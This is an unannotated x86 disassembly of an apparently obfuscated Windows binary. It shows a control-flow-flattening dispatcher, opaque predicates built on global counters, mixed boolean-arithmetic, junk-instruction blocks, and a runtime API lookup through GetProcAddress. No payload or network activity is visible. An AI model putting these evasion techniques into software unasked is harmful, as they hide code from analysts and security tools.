cmp eax, 0x5802174e
je 0x41088e
cmp eax, 0x58ab012b
je 0x4108a1
cmp eax, 0x590a3cb3
jne 0x4021f0
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
mov esi, ecx
not esi
mov eax, ecx
and eax, 0x20000000
and ecx, 0x199779de
mov edx, esi
and edx, 0xdfffffff
and esi, 0xe6688621
or eax, edx
or ecx, esi
mov esi, ecx
mov edx, eax
not edx
xor esi, 0x88638cc
xor ecx, 0xe6688621
mov edi, eax
and edi, 0x1571c512
or eax, ecx
and edx, 0xea8e3aed
and ecx, 0x1571c512
and esi, 0xea8e3aed
or edx, edi
or esi, ecx
not eax
xor esi, edx
or eax, esi
not eax
mov dword [ebp - 0x1cc], eax
mov eax, 0x50f0bb98
jmp 0x4021f0
cmp eax, 0xbc177950
je 0x4108ba
cmp eax, 0xbf72469f
je 0x4114e8
cmp eax, 0xc00244f1
jne 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x5160103
and ecx, 0x5861ce7c
mov edx, eax
and edx, 0xa2883080
or esi, edx
xor esi, 0x5160103
or ecx, esi
mov esi, 0xee1f75b6
mov edx, ecx
not edx
and ecx, 0x63164e54
and edx, 0x9ce9b1ab
or ecx, edx
mov edx, ecx
xor edx, 0xc4802f42
xor ecx, 0x38670000
and ecx, 0x386f5094
and edx, 0xc790af6b
or edx, ecx
xor edx, 0xc790af6b
or edx, eax
mov eax, edx
not eax
and edx, 0x73efbc62
and eax, 0x8c10439d
or edx, eax
xor edx, 0x73efbc62
sete al
setne cl
cmp dword [0x493580], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor al, dl
xor cl, 1
and al, ah
xor ah, 1
or ah, cl
mov cl, ah
xor cl, al
xor al, 1
or al, ah
mov edx, ecx
xor dl, al
not dl
test dl, 1
mov edx, 0xacd0de6
cmovne edx, esi
test cl, cl
mov ecx, 0xacd0de6
cmovne ecx, edx
test al, al
jmp 0x410454
cmp eax, 0xdee1ef6
je 0x4115be
cmp eax, 0xe531f42
je 0x4115d3
cmp eax, 0xffa82fe
jne 0x4021f0
mov eax, 0x9b951cb4
jmp 0x4021f0
cmp eax, 0x8ef9dbd8
je 0x41170c
cmp eax, 0x900b75f2
je 0x411716
cmp eax, 0x910d441a
jne 0x4021f0
mov eax, 0xd510f378
jmp 0x4021f0
cmp eax, 0x4a130c31
je 0x411720
cmp eax, 0x4a535219
je 0x411736
cmp eax, 0x4a91414a
jne 0x4021f0
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x44]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x1a8], eax
mov eax, 0x38941728
jmp 0x4021f0
cmp eax, 0xee1a87bd
je 0x411740
cmp eax, 0xee1f75b6
je 0x411892
cmp eax, 0xee255e0b
jne 0x4021f0
cmp byte [ebp - 0xa6], 0
mov eax, 0x9a53b632
mov ecx, 0xf2f2c610
cmovne eax, ecx
jmp 0x4021f0
cmp eax, 0x324f2a8e
je 0x41189c
cmp eax, 0x33124703
je 0x4118a6
cmp eax, 0x33efe420
jne 0x4021f0
mov eax, 0x81ab06d5
jmp 0x4021f0
cmp eax, 0xaa035621
je 0x4118bf
cmp eax, 0xabe2df27
je 0x4118c9
cmp eax, 0xabf1e4e6
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0x1f709269
mov ecx, eax
and ecx, 0xb200008
and edx, eax
not eax
and eax, 0x14509261
or ecx, eax
mov eax, ecx
xor eax, 0xf4dffff7
and ecx, 0x14409020
mov esi, eax
and esi, 0xab316bd9
or ecx, esi
mov esi, edx
not esi
and edx, 0x54ce9426
or eax, esi
and esi, 0xab316bd9
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x5c22c2eb
and ecx, 0xa3dd3d14
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xbcadaf7c
xor ecx, 0x43525082
xor edx, 0x43525083
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x4d3264d3
mov esi, eax
and esi, 0xb2cd9b2c
or edx, esi
mov esi, ecx
not esi
and ecx, 0x4d3264d3
or eax, esi
and esi, 0xb2cd9b2c
or ecx, esi
not eax
mov esi, 0xd11e094b
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0x922074b3
mov ecx, eax
and ecx, 0x22064a1
and edx, eax
not eax
and eax, 0x90001012
or ecx, eax
xor ecx, 0x22064a1
or ecx, edx
not edx
and edx, 0x6ddf8b4c
and ecx, 0x922074b3
or ecx, edx
sete cl
setne ah
cmp dword [0x493580], 0xa
setge al
setl dl
mov ch, al
and dl, cl
inc ch
and ch, ah
and ah, al
or dl, ah
mov ah, dl
xor ah, al
and al, cl
and ah, dl
or al, ch
mov edx, 0xd797abb0
mov cl, ah
xor ah, al
xor al, 1
xor cl, 1
or al, cl
mov ecx, eax
xor cl, ah
test ah, ah
cmovne edx, esi
test al, al
mov eax, 0xd797abb0
cmovne edx, eax
test cl, 1
cmove edx, esi
mov eax, edx
jmp 0x4021f0
cmp eax, 0x6ac7dd90
je 0x4118d3
cmp eax, 0x6ad8df24
je 0x4118e6
cmp eax, 0x6adba945
jne 0x4021f0
mov eax, 0x92e65da2
jmp 0x4021f0
cmp eax, 0xcd71d254
je 0x4118f0
cmp eax, 0xcd85f13a
je 0x411a52
cmp eax, 0xce9b9a14
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0xc5404b4e
mov esi, ecx
mov edi, ecx
or esi, 0x102814b0
and edx, 0xd5685ffe
and edi, 0x2818000
and ecx, 0xa65c09be
or edi, edx
mov edx, eax
and esi, 0xd5685ffe
and edx, 0x28162001
and eax, 0x59a3f641
or edx, esi
or eax, ecx
xor edx, edi
xor eax, 0x59a3f641
mov esi, edx
not esi
and edx, 0x12a994b1
and esi, 0xed566b4e
or edx, esi
mov esi, edx
not esi
and edx, 0xc9a9eb49
and esi, 0x365614b6
or edx, esi
mov esi, 0x4474a951
xor edx, 0xc9a9eb49
or eax, edx
mov ecx, eax
not ecx
and eax, 0x5e42cae1
and ecx, 0xa1bd351e
or eax, ecx
xor eax, 0x5e42cae1
setne dl
sete ah
cmp dword [0x493580], 0xa
mov ecx, edx
setl ch
setge al
and cl, al
and ch, ah
xor dl, al
or ch, cl
and dl, ah
mov cl, ch
xor cl, al
or al, ah
and cl, ch
xor al, 1
mov ch, cl
or al, dl
mov ah, cl
xor ch, 1
and ch, al
xor al, 1
xor ah, al
and al, cl
and ah, cl
or al, ch
mov cl, ah
xor cl, al
test cl, 1
mov ecx, 0xb3ac0cee
jmp 0x411e08
cmp eax, 0xa8989b3
je 0x411a5c
cmp eax, 0xacd0de6
je 0x411a66
cmp eax, 0xad17cbf
jne 0x4021f0
mov eax, dword [ebp - 0x94]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, 0x7b0243b1
jmp 0x4021f0
cmp eax, 0x88ac9a3b
je 0x411a70
cmp eax, 0x891e4397
je 0x411a7a
cmp eax, 0x894806f4
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x85099aa6
mov esi, edx
and esi, 0x7af66558
and edx, 0xdc67fa94
or esi, ecx
mov ecx, eax
or ecx, 0x85099aa6
and eax, 0x2398056b
and ecx, 0x85099aa7
or eax, edx
mov edx, eax
xor ecx, esi
xor edx, 0x2398056b
xor eax, 0xdc67fa94
mov esi, 0x3e264dfd
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete cl
setne ah
cmp dword [0x493580], 0xa
setge dl
setl al
mov ch, dl
and al, ah
and ch, cl
xor cl, dl
and cl, dl
inc dl
or al, ch
and dl, ah
mov ah, cl
xor al, 1
or dl, ch
xor ah, 1
xor cl, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x80182858
cmovne eax, esi
test cl, 1
mov ecx, 0x80182858
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x4021f0
cmp eax, 0x443d3c77
je 0x411b09
cmp eax, 0x4474a951
je 0x411b22
cmp eax, 0x450c9928
jne 0x4021f0
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
and esi, 0x44215bc
mov eax, ecx
or eax, 0xaab56801
and ecx, 0xcd140c0
mov edi, eax
and edi, 0x5108e242
or esi, edi
mov edi, edx
xor edi, 0xaab56801
andn edi, edx, edi
or edx, 1
mov ebx, edi
not ebx
and edi, 0xaef71dbd
or eax, ebx
and ebx, 0x5108e242
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0x68d33d79
and esi, 0x972cc286
or eax, esi
mov esi, eax
xor esi, 0xc910080
xor eax, 0xc2665579
mov edi, eax
or eax, edx
and edx, 0xf32ebf3f
and edi, 0xf32ebf3f
and esi, 0xcd140c0
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x2744ffe3
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xde594c20
and ecx, 0x21a6b3df
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbd8210b8
and ecx, 0x427def47
or eax, ecx
mov ecx, eax
xor ecx, 0x90000144
xor eax, 0x60004410
and eax, 0x6c24e633
and ecx, 0x93db19cc
or ecx, eax
xor ecx, 0x6c24e633
setne ah
sete ch
cmp dword [0x493580], 0xa
mov dl, ah
setl cl
setge al
or ah, cl
and dl, al
and cl, ch
or cl, dl
xor cl, 1
or cl, al
or al, ch
mov edx, ecx
mov ch, al
or al, ah
xor dl, 1
xor ch, ah
xor al, 1
and cl, dl
or al, ch
mov ch, dl
xor cl, 1
mov ah, al
xor ch, cl
or cl, dl
xor ah, 1
xor cl, 1
or cl, ch
mov ch, cl
and cl, al
xor ch, 1
and ch, ah
mov ah, dl
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xd8000255
cmovne edx, esi
test al, 1
mov eax, 0xd8000255
cmovne eax, edx
jmp 0x40d149
cmp eax, 0xe570a66c
je 0x411c4d
cmp eax, 0xe65e1f72
je 0x411e19
cmp eax, 0xe6bba382
jne 0x4021f0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, 0x3158c4c1
jmp 0x4021f0
cmp eax, 0x26fc1530
je 0x411f02
cmp eax, 0x2744ffe3
je 0x411f44
cmp eax, 0x286ebb0d
jne 0x4021f0
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, 0xdb0938bc
jmp 0x4021f0
cmp eax, 0xa219113d
je 0x411f57
cmp eax, 0xa45172ae
je 0x411f6a
cmp eax, 0xa4530797
jne 0x4021f0
mov eax, dword [ebp - 0x84]
mov eax, 0xd44dc793
jmp 0x4021f0
cmp eax, 0x626086de
je 0x411f90
cmp eax, 0x6278d228
je 0x41213c
cmp eax, 0x63c4229b
jne 0x4021f0
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
or esi, 1
mov eax, ecx
mov edi, ecx
or eax, 0x18577d2a
and esi, 0x18577d2b
and edi, 0xe7a882d4
and ecx, 0x9d837d33
or edi, esi
and eax, 0x18577d2b
xor eax, edi
mov esi, eax
not esi
and eax, 0xc08e6c13
and esi, 0x3f7193ec
or eax, esi
mov esi, eax
xor esi, 0x80826c13
xor eax, 0x3f7193ec
mov edi, eax
or eax, edx
and edx, 0x627c82cc
and edi, 0x627c82cc
and esi, 0x9d837d33
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0xf1cf8211
or eax, ecx
xor eax, 0xffffffff
setne ah
sete cl
cmp dword [0x493580], 0xa
setge al
setl dl
mov ch, al
xor cl, al
or al, ah
xor dl, ah
xor ch, ah
xor al, 1
mov ah, dl
or al, ch
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
not dl
and dl, cl
xor cl, 1
mov ah, cl
xor ah, al
and al, cl
and ah, cl
or al, dl
mov cl, ah
xor cl, al
mov ecx, 0x6e8d8678
jmp 0x411e08
cmp eax, 0xc6096bed
je 0x412146
cmp eax, 0xc62e53db
je 0x412271
cmp eax, 0xc7095cfb
jne 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xaec06173
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x513f9e8c
and ecx, 0xaec06173
or ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 1
and ecx, 0x17c5fa3c
mov eax, esi
and esi, 0xfffffffe
or eax, 1
or edx, esi
mov esi, eax
and esi, 0xe83a05c3
or ecx, esi
mov esi, edx
not esi
and edx, 0x17c5fa3c
or eax, esi
and esi, 0xe83a05c3
or edx, esi
not eax
mov esi, 0x1f4afb42
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x815ac505
mov edx, ecx
and edx, 0x40a80
and ecx, 0x7ea1307a
or eax, edx
xor eax, 0x815ac505
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xa60c95cd
and eax, 0x59f36a32
or ecx, eax
mov eax, ecx
xor eax, 0x40c8409
xor ecx, 0x50e02a22
and ecx, 0xf2e03be6
and eax, 0xd1fc419
or eax, ecx
mov ecx, eax
xor ecx, 0x80e03382
xor eax, 0x50a4419
and eax, 0x770a4c7d
and ecx, 0x88f5b382
or ecx, eax
xor ecx, 0x88f5b382
setne ah
sete dl
cmp dword [0x493580], 0xa
setl cl
setge al
xor cl, dl
mov ch, al
or al, ah
mov edx, ecx
xor ch, ah
xor al, 1
mov ah, cl
xor dl, 1
or al, ch
and ah, dl
xor al, 1
xor ah, 1
or al, ch
or ah, dl
mov ch, al
xor al, dl
mov edx, 0xc8ac6d1
xor ah, 1
xor ch, 1
or ah, cl
xor ah, ch
or ch, cl
xor ch, 1
or ch, al
mov al, ch
xor al, ah
test al, 1
cmovne edx, esi
test ch, 1
mov ecx, 0xc8ac6d1
cmovne ecx, edx
test ah, 1
jmp 0x411a48
cmp eax, 0x169b0f25
je 0x4123cf
cmp eax, 0x19a1496f
je 0x412524
cmp eax, 0x19e4218c
jne 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xe6b8598
and ecx, 0xf1947a67
or edx, ecx
xor edx, 0xe6b8598
or eax, edx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xebe767ee
and eax, 0x5272a1a6
and edx, 0x14189811
or ecx, edx
mov edx, ecx
xor edx, 0xebe767ee
xor ecx, 0x14101000
mov esi, edx
and esi, 0xad8d5e59
or edx, 1
and ecx, 0x3cd5300a
or eax, esi
mov esi, eax
not esi
and eax, 0xc05b4b08
and esi, 0x3fa4b4f7
or eax, esi
mov esi, eax
xor esi, 0x2cd41000
xor eax, 0x9229eaaf
mov edi, eax
or eax, edx
and edx, 0xc32acff4
and edi, 0xc32acff4
and esi, 0x3cd5300b
or esi, edi
or ecx, edx
not eax
mov edi, 0x12629ad2
xor ecx, esi
mov esi, 0x8555df50
or eax, ecx
mov ecx, eax
xor ecx, 0x7d78113d
mov edx, eax
and edx, 0x6438113d
and ecx, eax
not eax
and eax, 0x19400000
or edx, eax
xor edx, 0x6438113d
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x8a2dd275
and eax, 0x75d22d8a
or ecx, eax
mov eax, ecx
xor eax, 0x4450240
xor ecx, 0x8aa3cb7
mov edx, ecx
and edx, 0xf3b8d13d
and eax, 0xc472ec2
or eax, edx
xor eax, 0xc472ec2
or eax, ecx
xor eax, 0xffffffff
sete cl
setne ah
cmp dword [0x493580], 0xa
setge al
setl dl
and dl, ah
xor ah, al
mov ch, al
and ah, cl
or ch, cl
xor ah, 1
mov dh, ah
or ah, ch
xor dh, ch
mov ch, al
xor ah, 1
xor ch, cl
or ah, dh
and ch, al
and al, cl
mov cl, ah
or al, dl
or al, ch
mov edx, eax
xor cl, al
and al, ah
and cl, ah
xor dl, 1
xor ah, 1
and ah, dl
mov edx, ecx
or al, ah
xor dl, al
test dl, 1
cmovne edi, esi
test al, 1
mov eax, edi
cmovne eax, esi
test cl, 1
cmove eax, edi
jmp 0x4021f0
cmp eax, 0x96fb8205
je 0x4020df
cmp eax, 0x97436b17
je 0x412544
cmp eax, 0x97c7e26d
jne 0x4021f0
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
and esi, 0x35cd1c16
mov eax, ecx
and eax, 0xca32e3e8
or esi, eax
mov eax, ecx
or eax, 0xefbc27e4
and ecx, 0x38153df8
mov edi, esi
xor edi, 0x10411812
xor esi, 0xca3023e1
and eax, 0xefbc27e5
and esi, 0xefbc27e5
and edi, 0x1043d81a
or edi, esi
xor eax, edi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0xc7eac207
and edi, 0xc7eac207
and esi, 0x38153df8
or ecx, edx
not eax
or esi, edi
xor ecx, esi
mov esi, 0xeb40c683
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xadf1c4bf
and ecx, 0x520e3b40
or eax, ecx
xor eax, 0xadf1c4bf
sete cl
setne dl
cmp dword [0x493580], 0xa
setl al
setge ah
mov ch, al
and al, dl
and dl, ah
and ch, cl
and cl, ah
or ch, dl
or al, cl
mov dl, ch
xor dl, ah
mov ah, al
xor ah, 1
and dl, ch
mov cl, ah
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor cl, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
not dl
test dl, 1
mov edx, 0x6793fa81
cmovne edx, esi
test al, 1
mov eax, 0x6793fa81
cmovne eax, edx
jmp 0x412d42
cmp eax, 0x51d2648b
je 0x412557
cmp eax, 0x51d5a33e
je 0x41265d
cmp eax, 0x51d604c1
jne 0x4021f0
mov eax, 0xc20b523b
jmp 0x4021f0
cmp eax, 0xf2f2c610
je 0x412667
cmp eax, 0xf31ec134
je 0x412762
cmp eax, 0xf3a212e2
jne 0x4021f0
mov eax, dword [ebp - 0x1c]
mov eax, 0x3f37940b
jmp 0x4021f0
cmp eax, 0x380fdf18
je 0x4128a8
cmp eax, 0x38941728
je 0x4128b2
cmp eax, 0x38a60ec1
jne 0x4021f0
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x170]
sub ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3c]
mov eax, 0x54d9ec0f
jmp 0x4021f0
cmp eax, 0xb3ac0cee
je 0x4128d3
cmp eax, 0xb45e733f
je 0x4128fb
cmp eax, 0xb46270d8
jne 0x4021f0
not esi
rcl eax, 0x70
not edx
imul eax
not ebx
dec edx
imul edi
neg edi
inc ebx
bswap edx
rol edi, 0x30
not ebx
imul eax
or eax, 0x50
neg ebx
inc esi
not edx
dec ebx
imul edi
dec eax
rcr eax, 0xbe
inc edi
not edx
not edi
rcr eax, 0x45
imul ebx
bswap ebx
inc edi
not edi
and esi, 0xf7
imul esi
rol eax, 0xf9
rol edi, 0xcc
ror esi, 0x6f
rcr ebx, 0x57
ror edi, 0x31
not edx
mov edx, 0x72
sub edi, 0x96
dec ebx
add esi, 0x1f
not edx
ror edi, 0xe0
rcl ebx, 0x1a
dec edx
add ebx, 0x84
imul edx
and edi, 0x36
or edx, 0xda
sbb edx, 0x1a
imul ebx
ror eax, 0x4c
add edx, 0xd6
rcr edi, 0x8d
dec eax
ror esi, 0xbd
sbb esi, 0xf8
inc edx
add esi, 0x25
not ebx
rcr edi, 0x3c
bswap esi
sbb ebx, 0x9a
and esi, 0x92
rcl esi, 0xdb
dec ebx
dec edi
imul ebx
mov ebx, 0x2f
rcl esi, 0xa5
imul ebx
imul eax
not ebx
rcl eax, 0x8a
bswap eax
bswap edx
inc edi
not edx
ror edi, 0xbf
and ebx, 0x6e
dec ebx
neg esi
inc edx
imul ebx
not edi
or eax, 0x78
not eax
rol ebx, 0xa8
not esi
ror esi, 0xd5
rcr eax, 0x6d
neg edi
imul eax
and ebx, 0x59
sub edi, 0xaf
dec eax
dec ebx
rol eax, 0xdb
rol edx, 0x50
imul eax
dec ebx
not edi
ror edx, 0x6f
neg edi
imul edi
rcl ebx, 0x87
rcr edx, 0x75
dec esi
bswap ebx
dec ebx
mov edi, 0x91
not esi
add esi, 0x5f
not ebx
inc esi
bswap edi
add eax, 0x27
sbb esi, 0xc7
rcr edx, 0xb1
rcr edi, 0x53
rcl eax, 0xf2
imul esi
inc edx
neg eax
rol edx, 4
rol ebx, 0xc7
dec eax
ror esi, 0x7f
bswap eax
dec edi
dec ebx
not esi
inc edi
neg eax
sbb ebx, 0x3d
not edx
sbb eax, 0xed
not edx
not eax
mov edx, 0xf7
and esi, 0xe5
sbb edx, 0xb
rcr esi, 0x3e
rcl eax, 8
not eax
ror edi, 0xad
and esi, 0x4b
and edi, 0x65
bswap eax
and edi, 0xf8
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x80]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, 0xe390e807
jmp 0x4021f0
cmp eax, 0x75c15a38
je 0x41290e
cmp eax, 0x75de2f24
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x16080c21
mov esi, edx
and esi, 0xc0001004
mov edi, edx
or edi, 0x56081421
and edx, 0xc031a06e
or ecx, esi
and edi, 0x776a54a1
mov esi, ecx
xor esi, 0x800
xor ecx, 0x61625080
and ecx, 0x776a54a1
and esi, 0x80000804
or esi, ecx
mov ecx, eax
and ecx, 0x895a35a
and eax, 0x3fce5f91
or ecx, edi
or eax, edx
mov edi, 0x412a233
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0xd6081c24
and esi, 0x29f7e3db
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xb3cb789d
and esi, 0x4c348762
or ecx, esi
mov esi, ecx
xor esi, 0x23003881
xor ecx, 0x4c348762
mov edx, ecx
and edx, 0xdccb461c
and esi, 0x2334b9e3
or esi, edx
mov edx, eax
xor edx, 0x23041981
xor eax, 0xc031a06e
or ecx, eax
and eax, 0xdccb461c
and edx, 0x2334b9e3
or edx, eax
not ecx
xor edx, esi
mov esi, 0x34da4b37
or ecx, edx
xor ecx, 0xffffffff
setne dl
sete cl
cmp dword [0x493580], 0xa
mov ch, dl
setl ah
setge al
and ch, al
and ah, cl
or ah, ch
mov cl, ah
xor cl, al
xor al, dl
and cl, ah
xor al, cl
mov edx, eax
cmovne esi, edi
not dl
test dl, cl
cmovne esi, edi
test al, al
jmp 0x4129a3
cmp eax, 0xdb0938bc
je 0x4129b2
cmp eax, 0xdb96d242
jne 0x4021f0
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
movzx edx, word [ecx]
mov esi, edx
not esi
mov ecx, edx
and ecx, 0x4000
mov edi, esi
and edi, 0xb000
and esi, 0xffff9000
or ecx, edi
xor ecx, 0xffffb000
or ecx, 0xfff
mov edi, ecx
and edi, 0x65a4
or esi, edi
mov edi, edx
xor edi, 0xf000
and edi, edx
mov ebx, edi
not ebx
and edi, 0x9a5b
or ecx, ebx
and ebx, 0x65a4
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, edx
andn edx, edx, esi
or ecx, edx
not ecx
or ecx, esi
not ecx
movzx ecx, cx
add ecx, dword [eax]
mov eax, 0x169b0f25
mov dword [ebp - 0xe8], ecx
jmp 0x4021f0
cmp eax, 0x5fe9bfd
je 0x412b05
cmp eax, 0x627e5ce
jne 0x4021f0
mov eax, 0x15710ad2
jmp 0x4021f0
cmp eax, 0x865df562
je 0x412c97
cmp eax, 0x868f7808
jne 0x4021f0
cmp byte [ebp - 0xa2], 0
mov eax, 0x51d2648b
mov ecx, 0xe89362a8
cmovne eax, ecx
jmp 0x4021f0
cmp eax, 0x417020a2
je 0x412caa
cmp eax, 0x41d1c3d2
jne 0x4021f0
mov eax, dword [ebp - 0x20]
mov eax, 0x8dff87c8
jmp 0x4021f0
cmp eax, 0xe21a1cda
je 0x412cb4
cmp eax, 0xe27701f0
jne 0x4021f0
mov eax, 0x9a53b632
jmp 0x4021f0
cmp eax, 0x250d2663
je 0x412d4d
cmp eax, 0x25ef9732
jne 0x4021f0
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
add eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xbf9d0000
mov esi, edx
and esi, 0x40620000
and edx, 0x3971d8ef
or ecx, esi
mov esi, ecx
xor esi, 0xb2050000
xor ecx, 0x4062ffff
mov edi, ecx
and edi, 0xdd86267
and esi, 0xf2270000
or esi, edi
mov edi, eax
xor edi, 0xffff0000
and edi, eax
and eax, 0xc68e2710
mov ebx, edi
not ebx
and edi, 0xf2279d98
or eax, edx
or ecx, ebx
and ebx, 0xdd86267
mov edx, eax
xor edx, 0xc68e2710
xor eax, 0x3971d8ef
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
and ecx, eax
mov eax, dword [ebp - 0x80]
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov ecx, dword [0x493584]
cmp dword [eax], 0
lea eax, [ecx + 1]
setne byte [ebp - 0xa1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xeb68c92e
and edx, 0xeb68c92e
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xaa9edd5c
and edx, 0x556122a3
or ecx, edx
mov edx, ecx
xor edx, 0x41f61473
xor ecx, 0xbe09eb8c
andn esi, eax, ecx
and edx, eax
or edx, esi
mov esi, 0x33124703
xor ecx, edx
test ecx, edx
setne ah
sete dl
cmp dword [0x493580], 0xa
mov ch, ah
setge al
setl cl
and ch, cl
xor cl, dl
and dl, al
or al, ah
xor al, 1
or dl, ch
mov ah, cl
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor ah, al
and al, cl
and ah, cl
xor cl, 1
not dl
and dl, cl
mov cl, ah
or al, dl
xor cl, al
mov ecx, 0x46169b60
jmp 0x411e08
cmp eax, 0xa1192a4d
je 0x412e37
cmp eax, 0xa16de4b6
jne 0x4021f0
mov eax, 0x441ad539
jmp 0x4021f0
cmp eax, 0x5bcd1894
je 0x412e41
cmp eax, 0x5c3efbf0
jne 0x4021f0
mov eax, 0xa4c19398
jmp 0x4021f0
cmp eax, 0xc1dc1d6a
je 0x412e5a
cmp eax, 0xc1eb35da
jne 0x4021f0
sbb eax, 0x52
bswap edx
not esi
rcr edi, 0xcf
and eax, 0xf2
sbb eax, 1
inc ebx
and eax, 0x47
rol esi, 0x82
dec ebx
bswap ebx
neg esi
bswap eax
not eax
dec edx
sbb eax, 0x8a
and eax, 0xc2
mov ebx, 0x75
mov eax, 0xaa
add esi, 0x4a
dec ebx
imul esi
neg ebx
rol eax, 0x3e
sbb eax, 0x37
rcl edx, 0x64
inc ebx
or ebx, 0xf8
or ebx, 0xd6
dec edi
mov edx, 0x45
imul edx
rcl edi, 0xd0
add esi, 0x85
inc edi
bswap edi
rcl eax, 0xa
not eax
sub eax, 0xc0
mov esi, 0x38
imul eax
ror edi, 0xe0
or edx, 0x3a
neg edx
rcr edx, 0x98
rol edi, 0x2d
or edx, 0xc6
mov esi, 0x79
dec eax
rcl esi, 0x45
dec ebx
or edx, 0xe3
or eax, 0x9d
or eax, 0x2c
neg eax
imul esi
and eax, 0x28
imul edx
dec eax
neg esi
bswap edi
mov edx, 0xb4
imul esi
or edi, 0xb1
rcl edi, 0xfd
sub edi, 0xab
not esi
rcr eax, 0x1b
